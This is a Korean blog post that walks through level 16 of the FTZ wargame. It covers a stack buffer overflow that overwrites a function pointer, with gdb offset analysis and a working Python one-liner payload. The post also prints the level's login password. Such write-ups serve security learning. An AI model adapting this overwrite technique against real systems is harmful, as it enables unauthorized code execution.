Pwnable/FTZ

[FTZ] level 16 풀이 <BOF-함수 덮기>

lvolzoo 2024. 1. 18. 10:48
반응형

ID : level16

PW : about to cause mass


 

1.

 

새로운 파일인 attackme.c가 있다. 읽기 권한이 없어서 읽을 수가 없다.

그냥 attackme의 소스코드인 것 같으므로 hint파일을 읽어주자.

main함수 부분만 분석해 보도록 하겠다.

 

main(){
	int crap;  
	void(*call)()=printit;  //call 포인터 함수에 printit 함수를 저장 (call 선언, printit로 초기화)
	chat buf[20];
	fgets(buf,48,stdin);    //48바이트 만큼의 입력을 buf변수에 받음
	call();      //call 함수 호출 = printit 함수 호출
}

 

지금까지와는 새로운 유형의 오버플로우 문제인 것 같다. 문제 해결은 다음과 같다.

  1. buf[20] 에서 부터 *call 까지의 거리 알아보기
  2. shell 함수의 주소 가져오기
  3. *call 위치에 shell 함수의 주소를 덮어 씌우는 페이로드 제작하기
    (call 실행되면 printit 실행되는건데 shell로 덮어버려. 물론 call이 포인터변수니까 shell함수의 주소를 넣어줘야겠지)

 

먼저 buf[20] 에서 부터 *call 까지의 거리를 확인해보자!

 


 

 

2.

attackme 파일을 디버깅 했다.

 

????main+6은 뭐지?

<main+24>부분을 보면, buf 에서부터 ebp까지의 거리가 56임을 알 수 있다.

<main+36>부분을 보면, call 에서부터 ebp까지의 거리가 16임을 알 수 있다.

따라서 buf에서 call까지의 거리 = 40.

 

 

이건 어떻게 구하는 건지 모르겠는데 몰라도 풀어지긴 한다.

예상되는 메모리 구조:  
buf(20) + dummy(20) + *call(4) + dummy(4) + crap(4) + dummy(4) + SFP(4) + RET(4) = 64 (0x38+8)

 

 

 

메모리 구조를 파악했으니 shell 함수의 주소를 구하자.

gdb에는 프로그램에 저장된 함수나 새롭게 선언된 함수의 이름으로 그의 주소를 출력해주는 기능이 있다.

  • p [함수이름] : 해당 함수의 주소 출력

 

shell 함수의 주소를 구했다.

이제 페이로드를 짤 수 있겠다.

 

 

페이로드

(python -c 'print "\x90"40+"\xd0\x84\x04\x08"';cat)|./attackme

 

앞의 버퍼(20)와 더미(20)을 NOP 40개로 채워주고, 바로 그 다음에 위치하는 call포인터 변수에 쉘 함수의 주소값을 넣어줬다.

이로써 레벨 16을 클리어했다.

 

 

 

 

(2020.02에 작성한 글을 가져왔습니다.)

반응형